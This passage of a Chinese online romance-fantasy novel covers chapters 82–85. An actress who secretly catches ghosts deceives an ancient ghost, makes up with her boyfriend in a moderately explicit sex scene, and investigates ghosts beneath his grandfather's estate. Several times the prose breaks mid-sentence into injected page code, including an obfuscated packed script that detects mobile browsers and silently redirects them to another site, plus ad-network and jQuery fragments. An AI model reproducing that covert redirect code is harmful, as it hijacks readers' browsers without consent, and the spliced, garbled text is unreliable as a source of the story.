金绮月说对了,左轻白不敢赌测谎仪测不出谎言的概率,有路回的命在赌桌上,左轻白一定老老实实说真话。 左轻白果然选择了坦白,她承认她刚才在撒谎,她不是鬼村小若的转世,她骗了金绮月,她只是一个捉鬼师而已。 敢拿这种事来骗金绮月,等于在金绮月的禁区上蹦迪,金绮月一定会杀了左轻白。 左轻白已经做好了跟金绮月拼命的准备。 然而就在这时候,测谎仪发出锐鸣声,锐鸣声表示左轻白在说谎。 左轻白愣了。 啥? 左轻白承认她不是鬼村小若的转世,然后测谎仪说她在说谎?意思是左轻白就是鬼村小若的转世? 这是什么神仙测谎仪?太会帮忙了! 金绮月摸摸下巴,让鬼奴多换了几台机器,还是一样拿路回来做赌注,让左轻白测。 然后全都是一样的结果。 无论左轻白怎么回答,测谎结果都指向一个方向,左轻白是鬼村小若的转世。 左轻白表面上在强装镇定,但心里已经懵了。 为什么?左轻白想不明白,自己明明就是在撒谎啊,况且自己现在慌得一批,心率这么快,测不出来? 金绮月又问左轻白:“你为什么会记得自己的转世?普通人都记不住。” 左轻白动了动嘴,说:“我也不知道啊……” 测谎仪显示左轻白说的是真话。 左轻白震惊了。真的,这些机器像有生命一样在帮自己。 神通鬼再神通,但在参透人心这一方面,它也没有更好的办法,所以才选择人类发明的机器。谁能想到此刻这些机器居然“活了”,有意识地帮对方? 金绮月望向左轻白的目光从质疑到动摇到震惊最后到喜极而泣,终于,她朝左轻白扑了过来,把左轻白抱了个满怀,左轻白被她扑倒在地。 “你真的是小若姐姐,你真的是鬼村的人。”金绮月捧着左轻白的脸,喜极而泣。 金绮月的手微微发颤,嘴唇也微微发颤。许久之后,她张了张还在颤抖的嘴唇,说了句:“500年了,我终于又有家人了。” 金绮月抱紧了左轻白,伏在左轻白颈边哭。 左轻白大张着双眼,看着夜空。 自己就这么蒙混过关了?这也行?左轻白想。 接下来该怎么办?左轻白的大脑飞速思考。不管是什么原因让自己蒙混过关了,接下来继续演呗。 “按照约定,你能放了路回吗?”左轻白说。 金绮月起身,脸上挂着微笑,她温柔地看向左轻白,欣喜道:“姐姐放心,既然那男人姐姐喜欢,我就不会伤他。” 说着,金绮月把对路回虎视眈眈的鬼火给收了。 金绮月又快乐又疯魔,她凑近左轻白,说:“姐姐还喜欢谁?只要是你喜欢的,我都给你弄来,全都送给你。” 左轻白惊呆了,这是要给我开后宫的意思吗?左轻白心想:那倒不用这么大方…… 左轻白摇摇头,“不用了,我就喜欢这个。” “那我在他身上下个蛊,他要是不老实,想背叛姐姐,那就死。” “不不,也不用……” 左轻白觉得,金绮月对自己有点讨好意味。 金绮月又一次欣喜地抱着左轻白,说:“姐姐,你好好陪我说说话,就说说以前的事。500年了,我好孤独。真想不到鬼能转世,这么神奇的事情居然出现了,我想一定是上天见我太孤单,送给我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735516|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼物。” “可我现在是捉鬼师。” “我不管你现在是什么,人也好鬼也好,演员也好捉鬼师也罢,只要你是我的家人,我一定护你一世周全。” 金绮月对家人是有执念的,这很正常,但凡是鬼,执念都深重,有的对爱有执念,有的对钱有执念,有的对家有执念。金绮月的执念是家人,别的家人金绮月不认,她只认鬼村的鬼是她的家人。 这种执念是鬼能够变成鬼的驱力,也是鬼最大的弱点和软肋。 金绮月温柔地看向左轻白,说:“姐姐,你想要什么,我都给你。” 左轻白试探着问:“这栋楼的鬼火你能收了吗?不要伤害剧组的人。” “好啊。”金绮月毫不犹豫地答应。 金绮月收掉了这栋楼的鬼火,剧组成员转危为安。 金绮月痴痴地看着左轻白,恨不得黏在左轻白身上,嘴里一直不停地念叨:“500年了,我终于不孤独了。” 有一瞬间左轻白竟然觉得金绮月可怜。 左轻白问:“500年,你不去认识别的人吗?” “认识啊,但仅限于认识。”金绮月说,“我不认他们。” 金绮月眼中泛着冷意,“有很多人说过他们是我的家人,我不认。家从来都只有一个,哪有很多个的道理?” 金绮月被困在了那个大雪纷飞的村子里,她成鬼的执念就是一直想回去。 今晚金绮月去了左轻白的房间睡觉。 “小若姐姐。”金绮月抱着左轻白说,“不管你因为什么原因,这一世居然做了捉鬼师,但只要你不害我,以后你想杀什么小鬼,跟我说一声就好,我抓过来给你杀,让你过瘾。” 鬼是会互相杀的,金绮月平时也杀别的鬼,既然左轻白喜欢杀鬼,金绮月不介意帮她杀。金绮月是神通鬼,别的普通小鬼金绮月想杀很容易。 “你真的会帮我?”左轻白问。 “会啊。只要你不害我。”金绮月的脑袋往左轻白的肩膀一靠,“你千万别害我,一来,你未必打得过我,二来,我是真的会很伤心很伤心的。” 两人躺在床上,左轻白闭上了眼睛。 左轻白心想奇怪的事情真多,这个世界的测谎仪为什么帮自己? 左轻白对一群机器用了非常拟人的形容,因为当时左轻白真的就觉得它们是人。 有机会问问玄逸吧。然后……这部戏杀青去见见路回,我不知道该怎么办了,我忽然很害怕我会连累他,甚至彻底失去他。要不,要不分开吧? 左轻白胡思乱想,她觉得自己不再是那个我行我素潇潇洒洒的捉鬼师,她第一次觉得自己像个懦夫。 左轻白低落地想着,睡着了。 82. 一起渡过 电影拍摄接近尾声。 这次合作很成功,剧组成员合作得愉快又默契,不少人还成了朋友。 归延在这个和谐的剧组里体验到了社交的快乐,虽然依旧内向,但心灵的高墙打破了一个角,没那么封闭了,就好像幻境城堡的荆棘被砍掉了。 杀青宴前不久,归延突然不见人影。 左轻白并不着急,她知道归延有时候喜欢自己一个人躲起来,他不会躲去哪,无非就是躲在自己的酒店房间。 左轻白回酒店找归延,果然,归延就在他的房间里。 左轻白走进归延的房间时,归延正在画面具,他画的是一个白面鬼面具。 “你怎么又画鬼?”左轻白出声问。 归延笑道:“姐姐别急,我只是画,但我以后都不会养鬼奴了。” “这还差不多。”左轻白在归延身边的椅子上坐下。 归延把画好的鬼面具递给左轻白。 “你要送给我吗?”左轻白问。 “你戴上试试。”归延说。 左轻白把鬼面具戴上。她一戴上,面具就牢牢地粘在了她的脸上,和她的皮肤完全契合。 这种感觉让左轻白感到害怕。她一转头,看到了房间里的全身镜,只见在镜子里找不到自己,只有一只巨大的白面鬼。 “有白面鬼!” 左轻白大叫一声拿出符纸,归延却在一旁恶作剧似的抚掌大笑,说:“姐姐,镜子里的是你啊!” 左轻白摸了摸自己的脸皮,镜子里的白面鬼也摸了摸自己的脸皮,左轻白惊道:“我变得跟鬼一模一样了,怎么会这么像!” 左轻白取下面具,镜子里的白面鬼也取下面具。镜子里的白面鬼不见了,取而代之的是左轻白。 左轻白惊叹地看着面具,说:“你们这个傩戏太厉害了。” “还有别的。”归延说着,拿了另一个面具给左轻白戴上。 “我做着玩的。”归延说。 左轻白又把这个面具戴上,镜子里的左轻白不见了,取而代之的是总导演。 归延做了个总导演的面具。 “嘘。”归延对左轻白做了个噤声的手势,笑着说:“我偷偷做的,你别告诉导演。” 左轻白把面具取下来,叹道:“太厉害了!这不就是易容术吗!” 归延道:“如果以后你有需要,可以随时来找我,我免费帮你做面具。” “真的吗!我是真的会来找你的哦……” 两人一边说笑一边走出了房间,去往杀青宴现场。 归延开朗了许多,就是不知道如果以后他到了一个氛围不太好的剧组,会不会再次受伤?左轻白不去想这个问题,她相信归延会成长。 杀青宴上,金绮月表现得跟左轻白十分亲昵,她主动亲了亲左轻白的脸蛋,这张照片被娱记拍了下来,发到网上。 因为之前两人很长时间不同台,所以网上都在传两人不合,两人的粉丝也没少撕逼,这张照片一经发出,“金绮月左轻白破不和传言”的词条立即上了热搜,当初双方粉丝撕逼的事情也被路人嘲了一波: “两人这不挺好的吗?粉丝撕啥啊?” “正主好着呢,丫鬟们在那吵翻天。” “就是,人家关系好着呢!” …… 杀青宴过后,路回把左轻白接走了。 司机开车,两人回了路回的别墅。 路回给左轻白准备了一个单独的杀青蛋糕,蛋糕放在餐桌上。路回拉着左轻白的手在餐桌前坐下,左轻白却一副心事重重的样子。 路回把刀递给左轻白,示意她切蛋糕。 “切一刀吧。”路回说。 左轻白切了一刀,意思了一下,就把刀放下。 “我跟我爷爷说我交女朋友了,我爷爷让我下个星期带回去看看。”路回说。 “啊?”左轻白愣了一下。 路回对左轻白道:“你不必紧张,我爷爷只是看着严肃,实际上很好相处的。” “不……” “不什么啊?难道你还想逃?”路回笑道。 “我是说,我是说……”左轻白左思右想,最后咬了咬牙,说:“要不算了。” “算了?不去了?你下周有事吗?” “我是说,要不我俩算了。” “算了是什么意思?” “就是我俩分开吧。” 路回正在切蛋糕,听到这话,拿着刀的手一顿。 路回转头去看左轻白,左轻白看上去似乎很焦虑。 “你怎么了?”路回放下刀。 左轻白看到路回一脸茫然的样子,想到自己前不久才因为他吊着一颗心,突然气急,一拳锤在路回胳膊上。 左轻白是练家子,路回“哎哟”一声痛得叫出声来。 左轻白拧了路回一下,说:“你不知道出什么事了吗你?” “你不说我怎么知道?”路回委屈道。 左轻白又拧了路回一下,“你差点死了你都不知道!” “什么时候的事?我不知道啊。” “就是我拍戏的时候。” 左轻白还想去拧路回,路回赶紧挡住她,说:“别拧了别拧了,我胳膊都快紫了。” 左轻白着急地说:“就在我拍戏的时候,金绮月差点杀了你你知不知道?她用你的命来威胁我!” 左轻白两只手齐上,拍打着路回,急道:“她放了几团鬼火在你床底下烧,逼我说真话,不然就烧死你,我都快急死了,结果你什么都不知道!” “那你说真话了吗?” “我只能说真话啊,你的命在她手里,我不说真话我敢说假话吗……你笑什么?你还笑?你差点死了你还笑?”左轻白惊异地发现路回居然在笑。 路回真的在笑。 路回脸上露出止不住的笑意,他对左轻白说:“我也不想笑,但我忍不住,因为你在意我。如果不是在意我,捉鬼师小姐会跟鬼妥协吗?” 路回满脸笑意,下意识地想去抱左轻白。 左轻白推开他,怒道:“你没有意识到事情的严重性吗?金绮月拿你的性命来威胁我!” “所以呢?”路回耸耸肩,满不在乎。 “所以我有可能害死你啊!”左轻白大声说。 路回沉默了几秒,恍然大悟道:“就是因为这个,你才要和我分开?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 路回不知死活地又笑了,他说:“那你还是因为在意我啊。” “所以分开吧。”左轻白说。 “你就这么怕金绮月?” “我是怕你出事啊!白天怕,晚上怕!” “我印象中的捉鬼师小姐从不这么畏首畏尾。” 左轻白干脆踹了路回一脚。路回“哎哟”一声,埋怨道:“轻点。你是练武之人,我娇生惯养的经不起你踹。” 左轻白依旧很焦虑,她一边走来走去,一边说:“是我想变得这么畏首畏尾的吗?我本来潇潇洒洒孤身一人,没有什么后顾之忧,抓鬼想怎么抓就怎么抓。可是自从喜欢上你之后,顾虑的东西多了,担心的人也有了,金绮月拿你来威胁我,我一点办法都没有。所以,分手吧!”左轻白不管不顾地大喊。 路回看了她半晌,突然,路回一个箭步从椅子上冲上来,冲到左轻白跟前,抱着左轻白狠狠地亲了一口。 亲还不算,他甚至用上了牙,赶在左轻白反应过来前在她的嘴唇上用力咬了一口。 路回松开了左轻白,目光灼灼地看着她。 “分个屁!”路回教养很好,从不说脏话,这次居然破天慌地说了一次。 “你要是不在意我了,金绮月拿我来威胁你时你心里一点波澜都没有,那才真的该分。现在,分个屁!”路回又说了一次脏话。 左轻白红着脸,喘着气,推了一把路回,说:“都怪你。”推完她转身就走。 路回追上去,从身后抱住左轻白,他把脑袋搭在左轻白的肩膀上,问:“怪我什么?” “要不是你,我还是以前那个无所顾忌的捉鬼师。我都不像以前的我了!” “喜欢我就当不了捉鬼师了?”路回笑着去吻左轻白的脖颈。 “当不了了!” 左轻白满肚郁闷,路回却似乎很兴奋,他把左轻白亲得软乎乎的,在左轻白脑袋空白之际,趁机把左轻白抱起来,抱到客厅,放在沙发上,期身压了上去。 “我把你今天的话当作表白。”路回对左轻白说。接着,他低下头,去吻左轻白。 左轻白伸手去推他的脑袋,没等左轻白说话,路回先一步开口:“我知道你想说什么,但你先别说,你先听我说,我觉得你应该相信我。” “相信你什么?”左轻白问。 “相信你男朋友没那么弱。有什么难关,我能和你一起渡过。”路回坚定道。 左轻白一愣,心中突然重重一跳。 路回吻了吻左轻白的唇,又吻了吻左轻白的颈,然后一路往下。 路回撩起了左轻白的裙子。 节奏开始时,左轻白还在发愣,路回咬着左轻白的耳朵说:“用心点。” 左轻白压抑着细碎的声音,捧起路回的脸,问他:“有什么难关,你真的能和我一起渡过?” “废话。”路回惩罚似的用力一挺。 左轻白倒吸一口气,只觉得一股酥酥麻麻的电流窜上头顶。 路回心疼地看着左轻白,说道:“你应该相信我,不要什么事都想着自己撑。” 左轻白也不知道听没听到,她双手环上路回的背,回吻了路回的唇。 83. 设计师是谁 自从金绮月确定左轻白是鬼村小若之后,金绮月就格外喜欢来找左轻白,只要没有工作就到左轻白家来住,连她男朋友周夙都冷落了。 演戏演到底,左轻白收起了对金绮月的敌意,试着跟金绮月做“家人”。 金绮月喜欢和左轻白一起睡,她最喜欢在睡前跟左轻白回忆往事,这个时候的金绮月总是絮絮叨叨,像是有说不完的话。 “我老怀疑村长暗恋刘大婶。刘大婶虽然叫刘大婶,但年纪其实不是很大,长得好看着呢,而且又会绣花、性格又好,说话细声细语温温柔柔的。”一次,金绮月又来跟左轻白睡觉,她躺在床上搂着左轻白说。 “我也是这么想的,刘大婶多招人喜欢啊。”左轻白也说。 “那时候村长杀猪,总是分她一半。”金绮月八卦地说。 “不光杀猪,村长无论有什么好东西都分刘大婶一半。” “对对对!”金绮月激动了。 …… 两人就这么聊着。那篇小若的番外作者写得很细,关于小若在鬼村的事左轻白知道得很清楚,要是聊到没写到的,左轻白就会说她不记得了。 金绮月信任了左轻白后好像就不再怀疑她,但左轻白不敢打包票,她生怕金绮月突然又来个测试,所以心里时刻提防。 除了聊鬼村往事之外,两人有时还会聊些别的。 人和人聊的话题无外乎两人共同认识的人或者共同参与的事,人和鬼也一样。 金绮月和左轻白聊到了路回周夙两兄弟。 “他们虽然同父异母,但关系却比亲兄弟还好,这种情况应该很少见吧?”左轻白随口一问。 “我或许知道是什么原因。”金绮月用手指卷着自己的一缕头发,说:“周夙的妈妈叫周凡灵,路回小时候有次差点被车撞了,是周凡灵把他推开的,但周凡灵自己却被车撞死了。周凡灵是为了路回死的,出事时路回已经到了记事的年纪,他记得这事,路回对周夙不仅有兄弟情,还有很深的愧疚感,所以一直以来尽管路家不待见周夙,但路回对周夙很好。” “那周夙为什么也对路回好?” “他缺爱咯。”金绮月漫不经心地说,“你想想,他妈早死,从小他爸不愿见他,他妈那边又没别的亲戚了,只剩一个弟弟掏心掏肺地对他好,他不对这个弟弟好他对谁好?” 金绮月提起周夙时是个十分冷漠的态度,仿佛那不是她男朋友,而是一个无关紧要的路人。 不过也是,作为一个老鬼,金绮月怎么可能真对一个凡人动情。 左轻白回忆原书剧情,书里提到,路回的外公宋辉民是个厉害人物,宋辉民警告过路回他爸不许把外头女人生的孩子带回家,所以路回他爸才不敢认周夙。 “他爸不愿见他,是因为路回外公吧?”左轻白说。 “有宋辉民的原因,但不全是因为宋辉民。”金绮月懒洋洋地打了个哈欠,继续跟左轻白聊路家的八卦。金绮月说:“他爸路宗锋,其实心里头也不想认周夙。” “为什么?” “听说当年周夙他妈周凡灵是用了手段才怀上周夙的,路宗锋不是自愿的。” “啊?”左轻白露出震惊的表情。这么精彩的八卦原著居然没细写?作者怎么写文的?不知道读者最爱看八卦吗? 金绮月继续说:“路总锋不喜欢周凡灵,不过好像周凡灵也没那么喜欢路宗锋,她似乎只是为了生一个路家的孩子才去跟路宗锋好,她对路家的孩子都可宝贝了,连路回出事她都舍命去救。” “啊?”左轻白皱眉,“难以理解。这是有感情还是没感情啊?” 忽然一个想法从左轻白心里冒出来,像火花一样:周凡灵,凡人之灵,这个名字有点意思。 “不知道。”金绮月翻了个身,说:“但凡跟感情沾上边的事,百分之八十都难以理解。” 左轻白扒着金绮月的肩膀,好奇地问:“那你呢,你在世间飘了500年了,你动过真感情吗?” “没有。”金绮月毫不犹豫地说。 “对周夙也没有啊?” “没有。”金绮月扯了扯被子,把左轻白的被子都扯了过来。金绮月说:“我只观察,不参与,我觉得动感情的人都好蠢。” 左轻白:“……” 左轻白道:“你在说我蠢吗?” 金绮月转过身来,看了左轻白一眼,笑道:“你也蠢,但没关系,你是我的家人,有我护你一世周全。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>金绮月眼神真挚,看得左轻白心虚了几分。 又过了几天,路回带左轻白回外公家的日子到了。 原著里提到,路回的外公宋辉民是知名企业家、爱国华人,早年国家还缺钱的时候,他就给国家捐过很多钱,所以宋辉民的名声很好,社会地位比一般的商人要高。当年宋辉民的女儿宋子嘉嫁给路宗锋,算下嫁,下嫁男方还敢搞个私生子出来,宋辉民能不气吗? 宋辉民的妻子,路回的外婆于桦,因为长年生病的缘故,一直在国外医院养病,没法回国,所以这次左轻白和路回见的就只有宋辉民。 左轻白努力回想剧情,她记得原书写到,宋辉民在国内有多处房产,但他只住其中一个,其他是投资。住的那个也就是今天路回和左轻白去的地方,这处房子不是别墅不是洋房,而是一个总占地约6亩的中式庭院。 书里是这么描写这个中式庭院的:进门就能看到3000多平米的苏式园林,亭台楼阁应有尽有,有一个很大的人工湖,湖里游着各色锦鲤,游泳池、电影院等娱乐设施样样不缺,说是要花钱的景点都有人信。 路回那个小别墅跟他外公这个中式庭院比起来啥也不是,甚至可以说十分朴素。 去之前路回跟左轻白说:“我外公一定跟你聊得来。” “为什么?”左轻白问。 “我外公虽然接受的是西式教育,但他一直很爱中国文化,上了年纪之后更爱了,像什么周易易经、五行八卦,这两年简直到了痴迷的程度,他书房里有很多这一类的书,你们捉鬼师对这些一定非常熟悉,能跟我外公聊得来。” 到了宋辉民的中式庭院,路回怕左轻白局促,进大门时特意牵起了左轻白的手。 从大门进入,管家带两人闯过风雨连廊,连廊左边是人工湖,湖里养着锦鲤,右边是一片凤尾竹林,连廊上留着窗洞以观竹景。中式园林讲究一步一景、移步换景,不像西式城堡那样张扬华丽,而是一种含蓄的奢华。 这条风雨连廊同时也是一条观景长廊,园林美景尽收眼底。景色很美,气氛很好,然而一直沉默的左轻白却冷不丁来了一句:“这个宅子的设计师,是谁?” 她很严肃,仿佛这是一件很重要的事。 84. 外公的品味真好 领路的管家回答:“没有什么设计师。这里原来是古宅,宅子主人祖上是古代的大官,因为缺钱才不得已卖了,老先生买过来之后没有改变宅子的大体格局,只是找人翻新了,做了一些现代化的改造,仅此而已。” 左轻白观察领路的管家,发现他年纪已经很大了,头发已经花白。左轻白问管家:“老管家,你管这套宅子很久了吧?宅子还在前一任主人手上时,是不是也是你在管?” 路回提醒道:“这是方伯。” 方伯是个和蔼可亲的老头,他乐呵呵笑道:“是啊是啊,宅子一直都是我在管,我对这里最熟悉。宅子的主人变了,反倒是我这个老头一直都在。” 左轻白还想再问,但看了一眼路回,欲言又止。 方伯继续在前面带路,左轻白和路回走在后面。宅子真大,连廊迂回曲折,三人走了许久,还没到宋辉民所在的主楼。 “想说什么就说吧。”路回偷偷小声对左轻白说。 “你怎么知道我有话想说?”左轻白也小声道。 “看你那表情……你该不会想说方伯是鬼吧?”路回尽量压低声音。 “没有。”左轻白否认道,“我是想说园子的布局有点古怪。” “哪里古怪?” “一时说不清楚,回头跟你解释。” “跟你在一起久了总是提心吊胆。”路回忽然说。 “为什么?”左轻白一时没反应过来。 “生怕你突然就指着某个人说那是鬼。一会见到我外公,我都怕你会说我外公是鬼。”路回揶揄。 “哪那么夸张……” 几人终于走到了主楼,并见到了路回的外公宋辉民。 宋辉民是个又高又瘦的老人,很文气,精神矍铄,看上去稍微有些严肃。 宋辉民对左轻白算不上多热情,但也没有为难左轻白,只是问了她一些问题,了解了一下她的个人情况,然后问了问她跟路回相识的过程,问了问他俩以后的计划和打算,还给了左轻白一个红包。整体来说没什么特别的,就是普通的小辈见长辈的流程。 宋辉民大老远把路回和左轻白叫来,但只跟他俩聊了不到一个小时。 “我要去书房看书了。”宋辉民说,“路回,你好不容易回来一趟,住一晚再走,我让方伯安排你们住下,你俩在园子里随便玩吧。” 说来奇怪,宋辉民不仅对左轻白热情度一般,就连对路回也热情度一般。按理来说不应该啊,因为原著里提到过,路回从小在外公家长大,跟外公很亲,宋辉民对路回不该这么冷淡。 方伯带路回和左轻白去他俩的住处住下。 “咱们现在去客房吗?”左轻白问路回。 “什么客房?这里有一个院子是我的,外公留给我,让我可以随时回来住。”路回说。 路回在宋辉民家有自己的一个小院,小院依然是古香古色的苏式园林风格,进去之后就可以看到一个小池塘,小池塘里养着鱼、种着荷花,小池塘上还跨着小桥。池塘对面是这个院子的主楼,外表看上去是木制的古风小楼,但里面却是非常现代化的装修,方便又舒适。 左轻白惊叹:“你外公的品味真好。” “是啊。”路回也道,“所以他看不上我爸,我外公一直觉得我爸是暴发户,没什么格调,奈何我妈喜欢。” “阿姨现在在哪呀?”左轻白好奇地问。 “我妈这几年一直在国外。”路回言简意赅。 左轻白坐在路回的床上,左思右想,终于开口问道:“路回,我有个疑问,不知道方不方便问。” “你问。” “你不是说你是跟外公长大的吗?你们的关系应该很亲近才对,但怎么刚才……” “怎么刚才他对我好像有点冷淡,你是不是想问这个?” 左轻白点点头。 路回叹了口气,在一旁的沙发坐下。 他今天回外公家,特地穿上新西装,合身的剪裁衬得他整个人特别精神,但宋辉民好像压根没注意到一样。 怎么看宋辉民对这个外孙都缺乏关爱。 “我之前跟你说过,我外公沉迷周易易经、五行八卦,他的书房现在全都是这一类的书,这两年他没事就钻进书房里研究,因为心思全放在那上面,所以对其他人和事变得很冷淡,也包括我。”路回无奈道。 路回一边说,一边把西装领带解了下来,随意地放在一旁,又把里面的衬衫扣子松开了两颗。 “我刚才本来想提一下你也懂五行八卦,让你跟外公一起去书房看看的,但看外公那样子,他好像并不想跟别人一起研究,他只想自己一个人沉迷。” 路回把衬衫扣子松开,锁骨露了出来,左轻白的目光飘来飘去,最终落在了路回的锁骨上。 左轻白忽然有些心痒痒,她走到路回跟前,跨坐在路回腿上,搂住路回的脖子。 路回只是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看她。 左轻白色心一起,二话不说低头一咬路回的锁骨。 路回“嘶”了一声,眼神暗了暗。 “你可别乱咬。”路回笑道,“不然后果可能是来的时候两个人,回去时三个人。” 左轻白拧了一下路回的腰。 晚饭是左轻白、路回、宋辉民三个人一起吃的,吃完之后宋辉民又说他要去书房看书,让左轻白和路回回去休息。宋辉民的态度依旧是那样淡淡的,也不是不友好,他其实对路回和左轻白都挺好的,只是不热情。 左轻白觉得奇怪,沉迷看书会让人变冷淡吗? 不仅宋辉民很奇怪,这套宅子也很奇怪。 这套占地面积约6亩的中式庭院奢华大气,里面是苏式园林的建造风格,庭院很美,就是布局有点古怪。 普通人看不出来,但左轻白是捉鬼师,从小学习捉鬼术,五行八卦什么的是基础中的基础,左轻白一眼就辨出,从卦象上看,这宅子的布局是落魂阵的变形。 落魂阵出自《封神演义》,是截教十绝阵中的第八阵,“若人、仙入阵内,白幡展动,魄消魂散,顷刻而灭”,就是一进去就魂飞魄散的意思。 这宅子的布局是落魂阵的变形,那岂不是是个凶宅? 并不是。因为左轻白还看出,阵眼被高人动过,把宅子的凶煞之气化去了。 左轻白满腹狐疑地住了下来。 宅子里不光住了左轻白、路回、宋辉民,管家、保姆、司机也都住在这里面,他们都有自己的房间,房间又大又奢华。 夜已深了,方伯回到自己的住处。 方伯的住处有一个睡觉的房间,还有一个书房,方伯没有立即睡觉,而是去了书房。 方伯坐在书桌前,书房的门没有关,方伯戴上眼镜,拿出笔记本,认真地写日志。他每天都写日志,他在宅子里工作了几十年,日志就写了几十年,这里每天发生过什么,都在方伯的笔记本里记着。 方伯背对着书房的门,书房的门没有关,有什么东西从门外伸了个头进来,目光幽深地盯着方伯的后脑勺看。 那玩意一点声音都没有,它见方伯没反应,就又露了半个身子出来,它像个影子一样试图一点一点挪向方伯。 方伯忽然感到背后阴风阵阵,他奇怪地回头,那玩意反应极快,“嗖”的一下又躲回门外去了。 方伯见他背后什么也没有,便转过头去,继续写日志。 85. 压在宅子下面的鬼 方伯年纪大了,年纪大的人睡得早,方伯早早关灯,上床睡觉。 方伯睡着之后,那玩意悄悄打开了方伯卧室的门。 那玩意无声地走到方伯床边,它就站在床边,静静地看着方伯睡觉。 说是“看”可能有些不太准确,因为它的一颗头被长发包裹,又黑又长的头发像一个三百六十度无死角的柱形瀑布一样垂下来,一直垂到那玩意的脚底,看不到脸,也不知道它到底是正对着方伯还是背对着方伯。 除了头发太长看不到脸外,那玩意完全就是个人的形状,它站在方伯的床边,不闹也不出声,就这么安安静静地看着。 接着,第二个跟它一模一样的玩意从外面走进了卧室,也是人的模样,也是又黑又长的头发跟瀑布一样把脸遮得严严实实。第二个玩意走到第一个玩意身旁,跟第一个玩意并排站着,也安安静静地站在那俯视方伯睡觉。 这俩玩意并排站在一起,会发现它俩一模一样,无论是身高和还是胖瘦,全都一模一样。 再然后,第三个玩意从门外走了进来,并排站在第二个玩意身边。三个玩意站成一排,在床边注视着方伯。 它们悄无声息,跟空气一样,没有惊动方伯。 另一边,路回的小院里。 路回和左轻白正在喂鱼,池塘里养着锦鲤,两人拿着一小包鱼粮在喂鱼。喂着喂着,鱼粮很快没了。 “没有鱼粮了。”左轻白对路回说。 “楼上还有。你等我一下,我上楼去拿。” 说完,路回转身上了小楼。 左轻白百无聊赖地蹲在池塘边看鱼。锦鲤们见左轻白手里没鱼粮,纷纷游走了。 左轻白看着四散的鱼,撇撇嘴,道:“没吃的就跑,没良心的家伙。” 只有一只最肥最大的锦鲤逆着别的锦鲤游走的方向,游到了左轻白面前。 左轻白笑道:“只有你有良心,记得我喂过你。” 那只锦鲤一直看着左轻白,很奇怪,左轻白觉得它的眼神像是在求救。 鱼没有眼神,但凡鱼有眼神,那都有点瘆人,但左轻白就是觉得它在求救,它很惶恐。 忽然,那条鱼不动了,就好像突然死了一样。 再然后,那条鱼从尾部开始石化,就是变成石头了。 石化的速度越来越快,从鱼尾一直到鱼嘴,最后整条鱼都变成了石头。 变成石头时鱼嘴是大张着的,就在此刻,从鱼嘴里喷出一股浓烈的黑气,是鬼气!接着,似乎是女人的长发从鱼嘴里钻了出来! 左轻白先是一惊,随即马上镇定下来。左轻白把钻出来的长发打成结,塞回鱼嘴里,紧接着她右手结印,迅速结了一个符咒把鱼嘴一封,正准备从鱼嘴里钻出来的那玩意被左轻白硬生生塞了回去,而那条锦鲤全身金光一闪,石化褪去,又重新活了过来。 那条锦鲤“扑通”一下慌张地游走,左轻白没拦,她知道那条鱼没什么问题,只是被藏在这宅子下面的鬼当成了钻出来的“门”。 宅子本身是安全的,宅子里没有鬼,也没有鬼气,但在宅子下面很深很深的地方,压着一群出不来的鬼。不知道为什么,压在宅子下面的鬼今天晚上蠢蠢欲动,都在找出口。 左轻白赶紧画驱鬼符,画完之后她念了几段咒语,命令这些驱鬼符去有人住的屋子外守着,其中也包括路回的屋子。 路回去楼上取鱼粮还没下来,左轻白看到驱鬼符守住了小楼后,放心地跑出院子。 “我去抓鬼,你呆在楼里,不要出去。”左轻白给路回发了一条语音。 左轻白要去找鬼,她有预感不光是刚才那个想从鱼嘴里出来的鬼从地底钻出来了,宅子里肯定还有别的鬼已经钻出来了。 由于宅子太大,左轻白能嗅到的鬼气很轻微,所以左轻白拿出了罗盘,跟着罗盘指引的方向走。 左轻白一路来到方伯所在的管家房,罗盘的感应愈来愈强烈,就是这个地方有鬼! 左轻白直接闯入了方伯的房间,她看到房间是空的,床上也是空的,床上有凹陷的痕迹,左轻白摸了摸,被褥还是热的,说明方伯刚刚还躺在床上,刚走不久。 左轻白离开管家房,这附近的鬼气非常浓烈,左轻白顺着鬼气找过去。 宅子经过现代化改造,所以到了晚上不是黑灯瞎火,而是到处都有照明灯,很明亮,没有电视剧里阴森古宅的感觉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 左轻白走过回廊,到达一棵梧桐树下,树下有一口古井,左轻白赶到时,正好看见三个头发长长的人形玩意扛着方伯跳进了古井。 左轻白想都没想也跟着跳了下去。 左轻白跳下去之后,一个男人从墙后走了出来,左轻白没有发现他。 男人不是宅子里的人,他甚至是个被宋辉民禁止进入宅子的人。 男人跟路回差不多的年纪,最多比路回大个半岁到一岁,五官端正,眉眼优越,明明是很好看的长相,但偏偏气质阴郁,不讨喜。 宋辉民很讨厌这个人,因为他是女婿路宗锋的私生子,路宗锋对不起宋子嘉,这个孩子就是证明。 没错,出现的男人就是周夙。 宋辉民不喜欢周夙,他不可能允许周夙来自己的住处,所以周夙只能是偷偷进来的。 周夙走到左轻白跳下的那口井边,若有所思地看着。没有人知道周夙在想什么,他心思深,从小如此。 井是干的,没有水,里面深到可怕,左轻白觉得自己一直在下落,仿佛脚下没有尽头。 四周黑漆漆的,有幽闭恐惧症的怕是要被吓死。 